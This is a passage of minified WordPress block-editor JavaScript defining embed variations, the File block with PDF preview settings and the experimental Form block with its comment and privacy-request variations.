content."),patterns:[/^https?:\/\/([a-z0-9-]+\.)?(amazon|amzn)(\.[a-z]{2,4})+\/.+/i,/^https?:\/\/(www\.)?(a\.co|z\.cn)\/.+/i],attributes:{providerNameSlug:"amazon-kindle"}},{name:"pinterest",title:ht("Pinterest"),icon:wG,keywords:[(0,me.__)("social"),(0,me.__)("bookmark")],description:(0,me.__)("Embed Pinterest pins, boards, and profiles."),patterns:[/^https?:\/\/([a-z]{2}|www)\.pinterest\.com(\.(au|mx))?\/.*/i],attributes:{providerNameSlug:"pinterest"}},{name:"wolfram-cloud",title:ht("Wolfram"),icon:CG,description:(0,me.__)("Embed Wolfram notebook content."),patterns:[/^https?:\/\/(www\.)?wolframcloud\.com\/obj\/.+/i],attributes:{providerNameSlug:"wolfram-cloud",responsive:!0}},{name:"bluesky",title:ht("Bluesky"),icon:TG,description:(0,me.__)("Embed a Bluesky post."),patterns:[/^https?:\/\/bsky\.app\/profile\/.+\/post\/.+/i],attributes:{providerNameSlug:"bluesky"}}];HG.forEach(e=>{e.isActive||(e.isActive=(t,r)=>t.providerNameSlug===r.providerNameSlug)});var jG=HG;var Wp=o(T(),1),$p=o(v(),1),{attributes:UG}=ks,eve={attributes:UG,save({attributes:e}){let{url:t,caption:r,type:a,providerNameSlug:n}=e;if(!t)return null;let i=w("wp-block-embed",{[`is-type-${a}`]:a,[`is-provider-${n}`]:n,[`wp-block-embed-${n}`]:n});return(0,$p.jsxs)("figure",{...Wp.useBlockProps.save({className:i}),children:[(0,$p.jsx)("div",{className:"wp-block-embed__wrapper",children:`
${t}
`}),!Wp.RichText.isEmpty(r)&&(0,$p.jsx)(Wp.RichText.Content,{tagName:"figcaption",value:r})]})}},tve={attributes:UG,save({attributes:{url:e,caption:t,type:r,providerNameSlug:a}}){if(!e)return null;let n=w("wp-block-embed",{[`is-type-${r}`]:r,[`is-provider-${a}`]:a});return(0,$p.jsxs)("figure",{className:n,children:[`
${e}
`,!Wp.RichText.isEmpty(t)&&(0,$p.jsx)(Wp.RichText.Content,{tagName:"figcaption",value:t})]})}},rve=[eve,tve],GG=rve;var{name:WG}=ks,$G={icon:zl,edit:VG,save:FG,transforms:OG,variations:jG,deprecated:GG},ove=()=>N({name:WG,metadata:ks,settings:$G});var TE={};q(TE,{init:()=>fve,metadata:()=>h5,name:()=>iW,settings:()=>b5});var rh=o(I(),1);var nW=o(U(),1);var uo=o(T(),1),Vl=o(I(),1),Wt=o(v(),1),ave={attributes:{id:{type:"number"},href:{type:"string"},fileId:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"id"},fileName:{type:"string",source:"html",selector:"a:not([download])"},textLinkHref:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"href"},textLinkTarget:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"target"},showDownloadButton:{type:"boolean",default:!0},downloadButtonText:{type:"string",source:"html",selector:"a[download]"},displayPreview:{type:"boolean"},previewHeight:{type:"number",default:600}},supports:{anchor:!0,align:!0},save({attributes:e}){let{href:t,fileId:r,fileName:a,textLinkHref:n,textLinkTarget:i,showDownloadButton:l,downloadButtonText:s,displayPreview:c,previewHeight:u}=e,m=uo.RichText.isEmpty(a)?(0,Vl.__)("PDF embed"):(0,Vl.sprintf)((0,Vl.__)("Embed of %s."),a),p=!uo.RichText.isEmpty(a),d=p?r:void 0;return t&&(0,Wt.jsxs)("div",{...uo.useBlockProps.save(),children:[c&&(0,Wt.jsx)(Wt.Fragment,{children:(0,Wt.jsx)("object",{className:"wp-block-file__embed",data:t,type:"application/pdf",style:{width:"100%",height:`${u}px`},"aria-label":m})}),p&&(0,Wt.jsx)("a",{id:d,href:n,target:i,rel:i?"noreferrer noopener":void 0,children:(0,Wt.jsx)(uo.RichText.Content,{value:a})}),l&&(0,Wt.jsx)("a",{href:t,className:w("wp-block-file__button",(0,uo.__experimentalGetElementClassName)("button")),download:!0,"aria-describedby":d,children:(0,Wt.jsx)(uo.RichText.Content,{value:s})})]})}},nve={attributes:{id:{type:"number"},href:{type:"string"},fileId:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"id"},fileName:{type:"string",source:"html",selector:"a:not([download])"},textLinkHref:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"href"},textLinkTarget:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"target"},showDownloadButton:{type:"boolean",default:!0},downloadButtonText:{type:"string",source:"html",selector:"a[download]"},displayPreview:{type:"boolean"},previewHeight:{type:"number",default:600}},supports:{anchor:!0,align:!0},save({attributes:e}){let{href:t,fileId:r,fileName:a,textLinkHref:n,textLinkTarget:i,showDownloadButton:l,downloadButtonText:s,displayPreview:c,previewHeight:u}=e,m=uo.RichText.isEmpty(a)?(0,Vl.__)("PDF embed"):(0,Vl.sprintf)((0,Vl.__)("Embed of %s."),a),p=!uo.RichText.isEmpty(a),d=p?r:void 0;return t&&(0,Wt.jsxs)("div",{...uo.useBlockProps.save(),children:[c&&(0,Wt.jsx)(Wt.Fragment,{children:(0,Wt.jsx)("object",{className:"wp-block-file__embed",data:t,type:"application/pdf",style:{width:"100%",height:`${u}px`},"aria-label":m})}),p&&(0,Wt.jsx)("a",{id:d,href:n,target:i,rel:i?"noreferrer noopener":void 0,children:(0,Wt.jsx)(uo.RichText.Content,{value:a})}),l&&(0,Wt.jsx)("a",{href:t,className:"wp-block-file__button",download:!0,"aria-describedby":d,children:(0,Wt.jsx)(uo.RichText.Content,{value:s})})]})}},ive={attributes:{id:{type:"number"},href:{type:"string"},fileName:{type:"string",source:"html",selector:"a:not([download])"},textLinkHref:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"href"},textLinkTarget:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"target"},showDownloadButton:{type:"boolean",default:!0},downloadButtonText:{type:"string",source:"html",selector:"a[download]"},displayPreview:{type:"boolean"},previewHeight:{type:"number",default:600}},supports:{anchor:!0,align:!0},save({attributes:e}){let{href:t,fileName:r,textLinkHref:a,textLinkTarget:n,showDownloadButton:i,downloadButtonText:l,displayPreview:s,previewHeight:c}=e,u=uo.RichText.isEmpty(r)?(0,Vl.__)("PDF embed"):(0,Vl.sprintf)((0,Vl.__)("Embed of %s."),r);return t&&(0,Wt.jsxs)("div",{...uo.useBlockProps.save(),children:[s&&(0,Wt.jsx)(Wt.Fragment,{children:(0,Wt.jsx)("object",{className:"wp-block-file__embed",data:t,type:"application/pdf",style:{width:"100%",height:`${c}px`},"aria-label":u})}),!uo.RichText.isEmpty(r)&&(0,Wt.jsx)("a",{href:a,target:n,rel:n?"noreferrer noopener":void 0,children:(0,Wt.jsx)(uo.RichText.Content,{value:r})}),i&&(0,Wt.jsx)("a",{href:t,className:"wp-block-file__button",download:!0,children:(0,Wt.jsx)(uo.RichText.Content,{value:l})})]})}},lve=[ave,nve,ive],qG=lve;var CE=o(Tr(),1),th=o(A(),1),eh=o(z(),1),wo=o(T(),1),f5=o(j(),1),XG=o(ue(),1),Fl=o(I(),1);var JG=o(Y(),1),SE=o(yr(),1),eW=o(nr(),1);var Zo=o(I(),1),Ko=o(A(),1),ZG=o(T(),1);var ko=o(v(),1);function KG({hrefs:e,openInNewWindow:t,showDownloadButton:r,changeLinkDestinationOption:a,changeOpenInNewWindow:n,changeShowDownloadButton:i,displayPreview:l,changeDisplayPreview:s,previewHeight:c,changePreviewHeight:u}){let{href:m,textLinkHref:p,attachmentPage:d}=e,f=W(),h=[{value:m,label:(0,Zo.__)("URL")}];return d&&(h=[{value:m,label:(0,Zo.__)("Media file")},{value:d,label:(0,Zo.__)("Attachment page")}]),(0,ko.jsx)(ko.Fragment,{children:(0,ko.jsxs)(ZG.InspectorControls,{children:[m.endsWith(".pdf")&&(0,ko.jsxs)(Ko.__experimentalToolsPanel,{label:(0,Zo.__)("PDF settings"),resetAll:()=>{s(!0),u(600)},dropdownMenuProps:f,children:[(0,ko.jsx)(Ko.__experimentalToolsPanelItem,{label:(0,Zo.__)("Show inline embed"),isShownByDefault:!0,hasValue:()=>!l,onDeselect:()=>s(!0),children:(0,ko.jsx)(Ko.ToggleControl,{label:(0,Zo.__)("Show inline embed"),help:l?(0,Zo.__)("Note: Most phone and tablet browsers won't display embedded PDFs."):null,checked:!!l,onChange:s})}),l&&(0,ko.jsx)(Ko.__experimentalToolsPanelItem,{label:(0,Zo.__)("Height in pixels"),isShownByDefault:!0,hasValue:()=>c!==600,onDeselect:()=>u(600),children:(0,ko.jsx)(Ko.RangeControl,{__next40pxDefaultSize:!0,label:(0,Zo.__)("Height in pixels"),min:d5,max:Math.max(wE,c),value:c,onChange:u})})]}),(0,ko.jsxs)(Ko.__experimentalToolsPanel,{label:(0,Zo.__)("Settings"),resetAll:()=>{a(m),n(!1),i(!0)},dropdownMenuProps:f,children:[(0,ko.jsx)(Ko.__experimentalToolsPanelItem,{label:(0,Zo.__)("Link to"),isShownByDefault:!0,hasValue:()=>p!==m,onDeselect:()=>a(m),children:(0,ko.jsx)(Ko.SelectControl,{__next40pxDefaultSize:!0,label:(0,Zo.__)("Link to"),value:p,options:h,onChange:a})}),(0,ko.jsx)(Ko.__experimentalToolsPanelItem,{label:(0,Zo.__)("Open in new tab"),isShownByDefault:!0,hasValue:()=>!!t,onDeselect:()=>n(!1),children:(0,ko.jsx)(Ko.ToggleControl,{label:(0,Zo.__)("Open in new tab"),checked:t,onChange:n})}),(0,ko.jsx)(Ko.__experimentalToolsPanelItem,{label:(0,Zo.__)("Show download button"),isShownByDefault:!0,hasValue:()=>!r,onDeselect:()=>i(!0),children:(0,ko.jsx)(Ko.ToggleControl,{label:(0,Zo.__)("Show download button"),checked:r,onChange:i})})]})]})})}var YG=()=>window.navigator.pdfViewerEnabled?!0:!(window.navigator.userAgent.indexOf("Mobi")>-1||window.navigator.userAgent.indexOf("Android")>-1||window.navigator.userAgent.indexOf("Macintosh")>-1&&window.navigator.maxTouchPoints&&window.navigator.maxTouchPoints>2||(window.ActiveXObject||"ActiveXObject"in window)&&!(QG("AcroPDF.PDF")||QG("PDF.PdfCtrl"))),QG=e=>{let t;try{t=new window.ActiveXObject(e)}catch{t=void 0}return t};var zr=o(v(),1),d5=200,wE=2e3;function sve({text:e,disabled:t}){let{createNotice:r}=(0,eh.useDispatch)(SE.store),a=(0,XG.useCopyToClipboard)(e,()=>{r("info",(0,Fl.__)("Copied URL to clipboard."),{isDismissible:!0,type:"snackbar"})});return(0,zr.jsx)(th.ToolbarButton,{className:"components-clipboard-toolbar-button",ref:a,disabled:t,children:(0,Fl.__)("Copy URL")})}function cve({attributes:e,isSelected:t,setAttributes:r,clientId:a}){let{id:n,fileName:i,href:l,textLinkHref:s,textLinkTarget:c,showDownloadButton:u,downloadButtonText:m,displayPreview:p,previewHeight:d}=e,[f,h]=(0,f5.useState)(e.blob),{media:g}=(0,eh.useSelect)(P=>({media:n===void 0?void 0:P(JG.store).getEntityRecord("postType","attachment",n)}),[n]),{createErrorNotice:b}=(0,eh.useDispatch)(SE.store),{toggleSelection:y,__unstableMarkNextChangeAsNotPersistent:_}=(0,eh.useDispatch)(wo.store);xs({url:f,onChange:x,onError:k}),(0,f5.useEffect)(()=>{wo.RichText.isEmpty(m)&&(_(),r({downloadButtonText:(0,Fl._x)("Download","button label")}))},[]);function x(P){if(!P||!P.url){r({href:void 0,fileName:void 0,textLinkHref:void 0,id:void 0,fileId:void 0,displayPreview:void 0,previewHeight:void 0}),h();return}if((0,CE.isBlobURL)(P.url)){h(P.url);return}let H=(P.mime||P.mime_type)==="application/pdf"||(0,eW.getFilename)(P.url).toLowerCase().endsWith(".pdf"),$={displayPreview:H?e.displayPreview??!0:void 0,previewHeight:H?e.previewHeight??600:void 0};r({href:P.url,fileName:P.title,textLinkHref:P.url,id:P.id,fileId:`wp-block-file--media-${a}`,blob:void 0,...$}),h()}function k(P){r({href:void 0}),b(P,{type:"snackbar"})}function S(P){r({textLinkHref:P})}function C(P){r({textLinkTarget:P?"_blank":!1})}function E(P){r({showDownloadButton:P})}function B(P){r({displayPreview:P})}function D(P,H,$,V){y(!0);let G=parseInt(d+V.height,10);r({previewHeight:G})}function M(P){let H=Math.max(parseInt(P,10),d5);r({previewHeight:H})}let O=g&&g.link,R=(0,wo.useBlockProps)({className:w(!!f&&(0,th.__unstableGetAnimateClassName)({type:"loading"}),{"is-transient":!!f})}),F=YG()&&p;return!l&&!f?(0,zr.jsx)("div",{...R,children:(0,zr.jsx)(wo.MediaPlaceholder,{icon:(0,zr.jsx)(wo.BlockIcon,{icon:L0}),labels:{title:(0,Fl.__)("File"),instructions:(0,Fl.__)("Drag and drop a file, upload, or choose from your library.")},onSelect:x,onError:k,accept:"*"})}):(0,zr.jsxs)(zr.Fragment,{children:[(0,zr.jsx)(KG,{hrefs:{href:l||f,textLinkHref:s,attachmentPage:O},openInNewWindow:!!c,showDownloadButton:u,changeLinkDestinationOption:S,changeOpenInNewWindow:C,changeShowDownloadButton:E,displayPreview:p,changeDisplayPreview:B,previewHeight:d,changePreviewHeight:M}),(0,zr.jsxs)(wo.BlockControls,{group:"other",children:[(0,zr.jsx)(wo.MediaReplaceFlow,{mediaId:n,mediaURL:l,accept:"*",onSelect:x,onError:k,onReset:()=>x(void 0)}),(0,zr.jsx)(sve,{text:l,disabled:(0,CE.isBlobURL)(l)})]}),(0,zr.jsxs)("div",{...R,children:[F&&(0,zr.jsxs)(th.ResizableBox,{size:{height:d,width:"100%"},minHeight:d5,maxHeight:wE,grid:[1,10],enable:{top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},onResizeStart:()=>y(!1),onResizeStop:D,showHandle:t,children:[(0,zr.jsx)("object",{className:"wp-block-file__preview",data:l,type:"application/pdf","aria-label":(0,Fl.__)("Embed of the selected PDF file.")}),!t&&(0,zr.jsx)("div",{className:"wp-block-file__preview-overlay"})]}),(0,zr.jsxs)("div",{className:"wp-block-file__content-wrapper",children:[(0,zr.jsx)(wo.RichText,{identifier:"fileName",tagName:"a",value:i,placeholder:(0,Fl.__)("Write file name\u2026"),withoutInteractiveFormatting:!0,onChange:P=>r({fileName:T1(P)}),href:s}),u&&(0,zr.jsx)("div",{className:"wp-block-file__button-richtext-wrapper",children:(0,zr.jsx)(wo.RichText,{identifier:"downloadButtonText",tagName:"div","aria-label":(0,Fl.__)("Download button text"),className:w("wp-block-file__button",(0,wo.__experimentalGetElementClassName)("button")),value:m,withoutInteractiveFormatting:!0,placeholder:(0,Fl.__)("Add text\u2026"),onChange:P=>r({downloadButtonText:T1(P)})})})]})]})]})}var tW=cve;var h5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/file",title:"File",category:"media",description:"Add a link to a downloadable file.",keywords:["document","pdf","download"],textdomain:"default",attributes:{id:{type:"number"},blob:{type:"string",role:"local"},href:{type:"string",role:"content"},fileId:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"id"},fileName:{type:"rich-text",source:"rich-text",selector:"a:not([download])",role:"content"},textLinkHref:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"href",role:"content"},textLinkTarget:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"target"},showDownloadButton:{type:"boolean",default:!0},downloadButtonText:{type:"rich-text",source:"rich-text",selector:"a[download]",role:"content"},displayPreview:{type:"boolean"},previewHeight:{type:"number",default:600}},supports:{anchor:!0,align:!0,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,text:!1,__experimentalDefaultControls:{background:!0,link:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}},interactivity:!0},editorStyle:"wp-block-file-editor",style:"wp-block-file"};var Oc=o(T(),1),Ol=o(v(),1);function rW({attributes:e}){let{href:t,fileId:r,fileName:a,textLinkHref:n,textLinkTarget:i,showDownloadButton:l,downloadButtonText:s,displayPreview:c,previewHeight:u}=e,m=Oc.RichText.isEmpty(a)?"PDF embed":a.toString(),p=!Oc.RichText.isEmpty(a),d=p?r:void 0;return t&&(0,Ol.jsxs)("div",{...Oc.useBlockProps.save(),children:[c&&(0,Ol.jsx)(Ol.Fragment,{children:(0,Ol.jsx)("object",{className:"wp-block-file__embed",data:t,type:"application/pdf",style:{width:"100%",height:`${u}px`},"aria-label":m})}),p&&(0,Ol.jsx)("a",{id:d,href:n,target:i,rel:i?"noreferrer noopener":void 0,children:(0,Ol.jsx)(Oc.RichText.Content,{value:a})}),l&&(0,Ol.jsx)("a",{href:t,className:w("wp-block-file__button",(0,Oc.__experimentalGetElementClassName)("button")),download:!0,"aria-describedby":d,children:(0,Ol.jsx)(Oc.RichText.Content,{value:s})})]})}var X1=o(Tr(),1),Hl=o(U(),1),g5=o(z(),1),v5=o(Y(),1),oW=o(nr(),1),mve={from:[{type:"files",isMatch(e){return e.length>0},priority:15,transform:e=>{let t=[];return e.forEach(r=>{let a=(0,X1.createBlobURL)(r);r.type.startsWith("video/")?t.push((0,Hl.createBlock)("core/video",{blob:(0,X1.createBlobURL)(r)})):r.type.startsWith("image/")?t.push((0,Hl.createBlock)("core/image",{blob:(0,X1.createBlobURL)(r)})):r.type.startsWith("audio/")?t.push((0,Hl.createBlock)("core/audio",{blob:(0,X1.createBlobURL)(r)})):t.push((0,Hl.createBlock)("core/file",{blob:a,fileName:r.name}))}),t}},{type:"block",blocks:["core/audio"],transform:e=>(0,Hl.createBlock)("core/file",{href:e.src,fileName:e.caption,textLinkHref:e.src,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/video"],transform:e=>(0,Hl.createBlock)("core/file",{href:e.src,fileName:e.caption,textLinkHref:e.src,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/image"],transform:e=>(0,Hl.createBlock)("core/file",{href:e.url,fileName:e.caption||(0,oW.getFilename)(e.url),textLinkHref:e.url,id:e.id,anchor:e.anchor})}],to:[{type:"block",blocks:["core/audio"],isMatch:({id:e})=>{if(!e)return!1;let{getEntityRecord:t}=(0,g5.select)(v5.store),r=t("postType","attachment",e);return!!r&&r.mime_type.includes("audio")},transform:e=>(0,Hl.createBlock)("core/audio",{src:e.href,caption:e.fileName,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/video"],isMatch:({id:e})=>{if(!e)return!1;let{getEntityRecord:t}=(0,g5.select)(v5.store),r=t("postType","attachment",e);return!!r&&r.mime_type.includes("video")},transform:e=>(0,Hl.createBlock)("core/video",{src:e.href,caption:e.fileName,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/image"],isMatch:({id:e})=>{if(!e)return!1;let{getEntityRecord:t}=(0,g5.select)(v5.store),r=t("postType","attachment",e);return!!r&&r.mime_type.includes("image")},transform:e=>(0,Hl.createBlock)("core/image",{url:e.href,caption:e.fileName,id:e.id,anchor:e.anchor})}]},aW=mve;var{fieldsKey:pve,formKey:dve}=Z(nW.privateApis),{name:iW}=h5,b5={icon:L0,example:{attributes:{href:"https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg",fileName:(0,rh._x)("Armstrong_Small_Step","Name of the file")}},transforms:aW,deprecated:qG,edit:tW,save:rW};window.__experimentalContentOnlyInspectorFields&&(b5[pve]=[{id:"file",label:(0,rh.__)("File"),type:"media",Edit:{control:"media",allowedTypes:[],multiple:!1},getValue:({item:e})=>({id:e.id,url:e.href}),setValue:({value:e})=>({id:e.id,href:e.url})},{id:"fileName",label:(0,rh.__)("Filename"),type:"text",Edit:"rich-text"},{id:"downloadButtonText",label:(0,rh.__)("Button Text"),type:"text",Edit:"rich-text"}],b5[dve]={fields:["file","fileName","downloadButtonText"]});var fve=()=>N({name:iW,metadata:h5,settings:b5});var NE={};q(NE,{init:()=>xve,metadata:()=>_5,name:()=>fW,settings:()=>hW});var dW=o(Vc(),1);var Co=o(I(),1),jl=o(T(),1),Ul=o(A(),1),lW=o(z(),1);var PE=o(I(),1),y5=["core/form-submission-notification",{type:"success"},[["core/paragraph",{content:'<mark style="background-color:rgba(0, 0, 0, 0);color:#345C00" class="has-inline-color">'+(0,PE.__)("Your form has been submitted successfully")+"</mark>"}]]],x5=["core/form-submission-notification",{type:"error"},[["core/paragraph",{content:'<mark style="background-color:rgba(0, 0, 0, 0);color:#CF2E2E" class="has-inline-color">'+(0,PE.__)("There was an error submitting your form.")+"</mark>"}]]];var qa=o(v(),1),hve=[y5,x5,["core/form-input",{type:"text",label:(0,Co.__)("Name"),required:!0}],["core/form-input",{type:"email",label:(0,Co.__)("Email"),required:!0}],["core/form-input",{type:"textarea",label:(0,Co.__)("Comment"),required:!0}],["core/form-submit-button",{}]],gve=({attributes:e,setAttributes:t,clientId:r})=>{let a=W(),n=()=>{t({submissionMethod:"email",email:void 0,action:void 0,method:"post"})},{action:i,method:l,email:s,submissionMethod:c}=e,u=(0,jl.useBlockProps)(),{hasInnerBlocks:m}=(0,lW.useSelect)(d=>{let{getBlock:f}=d(jl.store),h=f(r);return{hasInnerBlocks:!!(h&&h.innerBlocks.length)}},[r]),p=(0,jl.useInnerBlocksProps)(u,{template:hve,renderAppender:m?void 0:jl.InnerBlocks.ButtonBlockAppender});return(0,qa.jsxs)(qa.Fragment,{children:[(0,qa.jsx)(jl.InspectorControls,{children:(0,qa.jsxs)(Ul.__experimentalToolsPanel,{dropdownMenuProps:a,label:(0,Co.__)("Settings"),resetAll:n,children:[(0,qa.jsx)(Ul.__experimentalToolsPanelItem,{hasValue:()=>c!=="email",label:(0,Co.__)("Submissions method"),onDeselect:()=>t({submissionMethod:"email"}),isShownByDefault:!0,children:(0,qa.jsx)(Ul.SelectControl,{__next40pxDefaultSize:!0,label:(0,Co.__)("Submissions method"),options:[{label:(0,Co.__)("Send email"),value:"email"},{label:(0,Co.__)("- Custom -"),value:"custom"}],value:c,onChange:d=>t({submissionMethod:d}),help:c==="custom"?(0,Co.__)('Select the method to use for form submissions. Additional options for the "custom" mode can be found in the "Advanced" section.'):(0,Co.__)("Select the method to use for form submissions.")})}),c==="email"&&(0,qa.jsx)(Ul.__experimentalToolsPanelItem,{hasValue:()=>!!s,label:(0,Co.__)("Email for form submissions"),onDeselect:()=>t({email:void 0,action:void 0,method:"post"}),isShownByDefault:!0,children:(0,qa.jsx)(Ul.TextControl,{__next40pxDefaultSize:!0,autoComplete:"off",label:(0,Co.__)("Email for form submissions"),value:s||"",required:!0,onChange:d=>{t({email:d}),t({action:`mailto:${d}`}),t({method:"post"})},help:(0,Co.__)("The email address where form submissions will be sent. Separate multiple email addresses with a comma."),type:"email"})})]})}),c!=="email"&&(0,qa.jsxs)(jl.InspectorControls,{group:"advanced",children:[(0,qa.jsx)(Ul.SelectControl,{__next40pxDefaultSize:!0,label:(0,Co.__)("Method"),options:[{label:"Get",value:"get"},{label:"Post",value:"post"}],value:l,onChange:d=>t({method:d}),help:(0,Co.__)("Select the method to use for form submissions.")}),(0,qa.jsx)(Ul.TextControl,{__next40pxDefaultSize:!0,autoComplete:"off",label:(0,Co.__)("Form action"),value:i,onChange:d=>{t({action:d})},help:(0,Co.__)("The URL where the form should be submitted."),type:"url"})]}),(0,qa.jsx)("form",{...p,encType:c==="email"?"text/plain":null})]})},sW=gve;var _5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:!0,name:"core/form",title:"Form",category:"common",allowedBlocks:["core/paragraph","core/heading","core/form-input","core/form-submit-button","core/form-submission-notification","core/group","core/columns"],description:"A form.",keywords:["container","wrapper","row","section"],textdomain:"default",attributes:{submissionMethod:{type:"string",default:"email"},method:{type:"string",default:"post"},action:{type:"string"},email:{type:"string"}},supports:{anchor:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalDefaultControls:{fontSize:!0}}}};var k5=o(T(),1),BE=o(v(),1);function cW({attributes:e}){let t=k5.useBlockProps.save(),{submissionMethod:r}=e;return(0,BE.jsx)("form",{...t,encType:r==="email"?"text/plain":null,children:(0,BE.jsx)(k5.InnerBlocks.Content,{})})}var Xi=o(I(),1);var bve=[{name:"comment-form",title:(0,Xi.__)("Experimental Comment form"),description:(0,Xi.__)("A comment form for posts and pages."),attributes:{submissionMethod:"custom",action:"{SITE_URL}/wp-comments-post.php",method:"post",anchor:"comment-form"},isDefault:!1,innerBlocks:[["core/form-input",{type:"text",name:"author",label:(0,Xi.__)("Name"),required:!0,visibilityPermissions:"logged-out"}],["core/form-input",{type:"email",name:"email",label:(0,Xi.__)("Email"),required:!0,visibilityPermissions:"logged-out"}],["core/form-input",{type:"textarea",name:"comment",label:(0,Xi.__)("Comment"),required:!0,visibilityPermissions:"all"}],["core/form-submit-button",{}]],scope:["inserter","transform"],isActive:e=>!e?.type||e?.type==="text"},{name:"wp-privacy-form",title:(0,Xi.__)("Experimental Privacy Request Form"),keywords:["GDPR"],description:(0,Xi.__)("A form to request data exports and/or deletion."),attributes:{submissionMethod:"custom",action:"",method:"post",anchor:"gdpr-form"},isDefault:!1,innerBlocks:[y5,x5,["core/paragraph",{content:(0,Xi.__)("To request an export or deletion of your personal data on this site, please fill-in the form below. You can define the type of request you wish to perform, and your email address. Once the form is submitted, you will receive a confirmation email with instructions on the next steps.")}],["core/form-input",{type:"email",name:"email",label:(0,Xi.__)("Enter your email address."),required:!0,visibilityPermissions:"all"}],["core/form-input",{type:"checkbox",name:"export_personal_data",label:(0,Xi.__)("Request data export"),required:!1,visibilityPermissions:"all"}],["core/form-input",{type:"checkbox",name:"remove_personal_data",label:(0,Xi.__)("Request data deletion"),required:!1,visibilityPermissions:"all"}],["core/form-submit-button",{}],["core/form-input",{type:"hidden",name:"wp-action",value:"wp_privacy_send_request"}],["core/form-input",{type:"hidden",name:"wp-privacy-request",value:"1"}]],scope:["inserter","transform"],isActive:e=>!e?.type||e?.type==="text"}],uW=bve;var Ns=o(T(),1),IE=o(v(),1),yve={supports:{},attributes:{submissionMethod:{type:"string",default:"email"},method:{type:"string",default:"post"},action:{type:"string"},email:{type:"string"},anchor:{type:"string",source:"attribute",attribute:"id",selector:"*"},backgroundColor:{type:"string"},textColor:{type:"string"},gradient:{type:"string"},style:{type:"object"},fontFamily:{type:"string"},fontSize:{type:"string"}},save({attributes:e}){let{submissionMethod:t}=e,r=(0,Ns.__experimentalGetColorClassesAndStyles)(e),a=(0,Ns.getTypographyClassesAndStyles)(e),n=(0,Ns.__experimentalGetSpacingClassesAndStyles)(e),i=Ns.useBlockProps.save({style:{...r.style,...a.style,...n.style},id:e.anchor});return(0,IE.jsx)("form",{...i,className:"wp-block-form",encType:t==="email"?"text/plain":null,children:(0,IE.jsx)(Ns.InnerBlocks.Content,{})})}},mW=[yve];var w5=o(L(),1),EE=o(v(),1),pW=(0,EE.jsx)(w5.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,EE.jsx)(w5.Path,{d:"M18 16H6c-1.1 0-2 .9-2 2s.9 2 2 2h12c1.1 0 2-.9 2-2s-.9-2-2-2Zm0 2.5H6c-.3 0-.5-.2-.5-.5s.2-.5.5-.5h12c.3 0 .5.2.5.5s-.2.5-.5.5ZM13 13H4v1.5h9V13Zm-7-2h12c1.1 0 2-.9 2-2s-.9-2-2-2H6c-1.1 0-2 .9-2 2s.9 2 2 2Zm0-2.5h12c.3 0 .5.2.5.5s-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5s.2-.5.5-.5ZM13 4H4v1.5h9V4Z"})});var{name:fW}=_5,hW={icon:pW,edit:sW,save:cW,deprecated:mW,variations:uW,example:{}},xve=()=>{let e=["core/form"];return(0,dW.addFilter)("blockEditor.__unstableCanInsertBlockType","core/block-library/preventInsertingFormIntoAnotherForm",(t,r,a,{getBlock:n,getBlockParentsByBlockName:i})=>{if(r.name!=="core/form")return t;for(let l of e)if(n(a)?.name===l||i(a,l).length)return!1;return!0}),N({name:fW,metadata:_5,settings:hW})};var LE={};q(LE,{init:()=>Dve,metadata:()=>S5,name:()=>EW,settings:()=>NW});var yW=o(J1(),1),Gl=o(T(),1),xW=o(Ri(),1),si=o(v(),1),_W=e=>(0,yW.default)((0,xW.__unstableStripHTML)(e)).replace(/[^\p{L}\p{N}]+/gu,"-").toLowerCase().replace(/(^-+)|(-+$)/g,""),Sve={attributes:{type:{type:"string",default:"text"},name:{type:"string"},label:{type:"string",default:"Label",selector:".wp-block-form-input__label-content",source:"html",role:"content"},inlineLabel:{type:"boolean",default:!1},required:{type:"boolean",default:!1,selector:".wp-block-form-input__input",source:"attribute",attribute:"required"},placeholder:{type:"string",selector:".wp-block-form-input__input",source:"attribute",attribute:"placeholder",role:"content"},value:{type:"string",default:"",selector:"input",source:"attribute",attribute:"value"},visibilityPermissions:{type:"string",default:"all"}},supports:{anchor:!0,reusable:!1,spacing:{margin:["top","bottom"]},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{radius:!0}}},save({attributes:e}){let{type:t,name:r,label:a,inlineLabel:n,required:i,placeholder:l,value:s}=e,c=(0,Gl.__experimentalGetBorderClassesAndStyles)(e),u=(0,Gl.__experimentalGetColorClassesAndStyles)(e),m={...c.style,...u.style},p=w("wp-block-form-input__input",u.className,c.className),d=t==="textarea"?"textarea":"input",f=Gl.useBlockProps.save();return 